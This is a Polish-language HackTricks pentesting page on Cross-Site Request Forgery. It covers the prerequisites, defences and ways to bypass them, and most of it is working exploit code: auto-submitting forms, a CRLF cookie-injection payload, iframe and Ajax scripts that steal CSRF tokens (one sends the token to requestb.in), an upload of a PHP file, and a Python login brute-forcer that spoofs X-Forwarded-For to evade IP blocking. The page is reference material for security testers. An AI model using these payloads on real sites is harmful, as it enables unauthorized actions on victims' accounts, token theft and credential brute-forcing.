CSRF (Cross Site Request Forgery)

Reading time: 18 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wyjaśnienie Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) to rodzaj podatności bezpieczeństwa występującej w aplikacjach webowych. Pozwala atakującym wykonywać akcje w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest przeprowadzany, gdy użytkownik zalogowany w serwisie ofiary odwiedza złośliwą stronę, która następnie wywołuje żądania do konta ofiary poprzez np. uruchamianie JavaScript, wysyłanie formularzy lub pobieranie obrazów.

Wymagania wstępne dla ataku CSRF

Aby wykorzystać podatność CSRF, musi być spełnionych kilka warunków:

  1. Zidentyfikować wartościową akcję: atakujący musi znaleźć akcję wartą wykorzystania, np. zmianę hasła, adresu email lub podniesienie uprawnień.
  2. Zarządzanie sesją: sesja użytkownika powinna być zarządzana wyłącznie za pomocą cookies lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą zostać zmanipulowane w tym celu.
  3. Brak nieprzewidywalnych parametrów: żądanie nie powinno zawierać nieprzewidywalnych parametrów, które mogą uniemożliwić atak.

Szybka weryfikacja

Możesz przechwycić żądanie w Burp i sprawdzić zabezpieczenia CSRF; aby przetestować z poziomu przeglądarki, kliknij Copy as fetch i sprawdź żądanie:

Obrona przed CSRF

Kilka środków zapobiegawczych, które można wdrożyć, aby chronić przed atakami CSRF:

  • SameSite cookies: Ten atrybut uniemożliwia przeglądarce wysyłanie ciasteczek wraz z żądaniami cross-site. More about SameSite cookies.
  • Cross-origin resource sharing: Polityka CORS serwisu ofiary może wpłynąć na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytania odpowiedzi z serwisu ofiary. Learn about CORS bypass.
  • Weryfikacja użytkownika: poproszenie o podanie hasła lub rozwiązanie captchy może potwierdzić intencję użytkownika.
  • Sprawdzanie nagłówków Referrer lub Origin: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne przygotowanie URLi może obchodzić źle zaimplementowane sprawdzenia, np.:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Modyfikacja nazw parametrów: zmiana nazw parametrów w żądaniach POST lub GET może utrudnić automatyczne ataki.
  • CSRF Tokens: Włączenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach znacząco zmniejsza ryzyko CSRF. Skuteczność tokena można zwiększyć poprzez egzekwowanie CORS.

Zrozumienie i wdrożenie tych mechanizmów obronnych jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji webowych.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Niektóre aplikacje wymagają weryfikacji CSRF tylko dla POST, pomijając ją dla innych metod HTTP. Typowy antywzorzec w PHP wygląda tak:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Jeśli podatny endpoint akceptuje także parametry z $_REQUEST, możesz ponownie wykonać tę samą akcję jako żądanie GET i całkowicie pominąć CSRF token. To zamienia akcję dostępną tylko przez POST w akcję GET, która zakończy się powodzeniem bez tokena.

Przykład:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Uwagi:

  • Ten wzorzec często występuje razem z reflected XSS, gdy odpowiedzi są błędnie serwowane jako text/html zamiast application/json.
  • Połączenie tego z XSS znacznie obniża bariery eksploatacji, ponieważ możesz dostarczyć pojedynczy link GET, który jednocześnie wyzwala podatną ścieżkę kodu i całkowicie omija sprawdzanie CSRF.

Brak tokena

Aplikacje mogą implementować mechanizm, aby validate tokens gdy są obecne. Jednak powstaje luka, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać poprzez usunięcie parametru, który zawiera token, a nie tylko jego wartość. Pozwala to obejść proces walidacji i skutecznie przeprowadzić Cross-Site Request Forgery (CSRF).

CSRF token is not tied to the user session

Aplikacje, które nie wiążą CSRF token z sesjami użytkowników, stanowią poważne ryzyko bezpieczeństwa. Systemy te weryfikują tokeny przeciwko globalnemu zbiorowi zamiast upewnić się, że każdy token jest powiązany z sesją inicjującą.

Oto jak atakujący to wykorzystują:

  1. Zaloguj się używając własnego konta.
  2. Uzyskaj ważny CSRF token z globalnego zbioru.
  3. Użyj tego tokena w ataku CSRF przeciwko ofierze.

Ta luka pozwala atakującym wykonywać nieautoryzowane żądania w imieniu ofiary, wykorzystując niewystarczający mechanizm walidacji tokenów aplikacji.

Method bypass

Jeśli żądanie używa "dziwnej" metody, sprawdź, czy działa funkcja method override. Na przykład, jeśli używa metody PUT możesz spróbować użyć metody POST i wysłać: _https://example.com/my/dear/api/val/num?_method=PUT

Może to także zadziałać, wysyłając parametr method wewnątrz żądania POST lub używając nagłówków:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Custom header token bypass

Jeśli żądanie dodaje niestandardowy header z tokenem jako metodę ochrony CSRF, to:

  • Przetestuj żądanie bez niestandardowego tokena i bez nagłówka.
  • Przetestuj żądanie z tokenem o tej samej długości, ale innym tokenem.

Aplikacje mogą implementować ochronę CSRF poprzez duplikowanie tokena zarówno w cookie, jak i w parametrze żądania, lub poprzez ustawienie CSRF cookie i weryfikowanie, czy token przesłany w backendzie odpowiada cookie. Aplikacja waliduje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w cookie.

Jednak ta metoda jest podatna na ataki CSRF, jeśli serwis ma luki pozwalające atakującemu ustawić CSRF cookie w przeglądarce ofiary, np. luka CRLF. Atakujący może to wykorzystać, ładując zwodniczy obraz, który ustawia cookie, a następnie inicjuje atak CSRF.

Poniżej przykład, jak mógłby wyglądać taki atak:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Zwróć uwagę, że jeśli csrf token is related with the session cookie this attack won't work ponieważ będziesz musiał ustawić victim swoją session, a w konsekwencji zaatakujesz samego siebie.

Zmiana Content-Type

Zgodnie z this, aby uniknąć żądań preflight przy użyciu metody POST, dozwolone są następujące wartości Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Jednak zwróć uwagę, że severs logic may vary w zależności od użytego Content-Type, więc powinieneś wypróbować wymienione wartości oraz inne, takie jak application/json,text/xml, application/xml.

Przykład (z here) wysyłania danych JSON jako text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Przy próbie wysłania danych JSON przez żądanie POST, ustawienie Content-Type: application/json w formularzu HTML nie jest bezpośrednio możliwe. Podobnie użycie XMLHttpRequest do wysłania tego typu treści powoduje żądanie preflight. Niemniej jednak istnieją sposoby, by potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:

  1. Use Alternative Content Types: Użyj Content-Type: text/plain lub Content-Type: application/x-www-form-urlencoded, ustawiając enctype="text/plain" w formularzu. Podejście to sprawdza, czy backend wykorzystuje dane niezależnie od Content-Type.
  2. Modify Content Type: Aby uniknąć żądania preflight i jednocześnie sprawić, by serwer rozpoznał zawartość jako JSON, można wysłać dane z Content-Type: text/plain; application/json. Nie wywoła to preflight, ale może zostać poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania application/json.
  3. SWF Flash File Utilization: Mniej powszechna, ale możliwa metoda polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby poznać technikę szczegółowo, odnieś się do this post.

Referrer / Origin check bypass

Avoid Referrer header

Aplikacje mogą sprawdzać nagłówek 'Referer' tylko gdy jest on obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego znacznika meta HTML:

xml
<meta name="referrer" content="never">

To powoduje, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kontrole walidacji w niektórych aplikacjach.

Regexp bypasses

URL Format Bypass

Aby ustawić nazwę domeny serwera w URL, którą Referrer wyśle w parametrach, możesz zrobić:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Pierwsza część this CTF writeup wyjaśnia, że w Oak's source code router jest ustawiony tak, aby handle HEAD requests as GET requests bez response body — powszechne obejście, które nie jest unikatowe dla Oak. Zamiast dedykowanego handlera obsługującego HEAD reqs, są one po prostu given to the GET handler but the app just removes the response body.

Dlatego, jeśli GET request jest ograniczony, możesz po prostu send a HEAD request that will be processed as a GET request.

Exploit Examples

Exfiltrating CSRF Token

Jeśli CSRF token jest używany jako defence, możesz spróbować exfiltrate it wykorzystując podatność XSS lub podatność Dangling Markup.

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Inne tagi HTML5, które można użyć do automatycznego wysłania żądania GET, to:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Formularz — żądanie GET

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Żądanie POST formularza

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Żądanie POST formularza przez iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax żądanie POST

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data żądanie POST

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Żądanie POST formularza wewnątrz iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Wykradnij token CSRF i wyślij żądanie POST

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Wykradnij CSRF Token i wyślij Post request przy użyciu iframe, form i Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Ukradnij CSRF Token i wyślij żądanie POST używając iframe i formularza

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Wykradnij token i wyślij go przy użyciu 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token za pomocą Ajax i wysłać post za pomocą formularza

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF z Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Kod może być użyty do Brut Force formularza logowania przy użyciu tokena CSRF (Używa także nagłówka X-Forwarded-For, aby spróbować obejść ewentualne zablokowanie IP):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Narzędzia

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks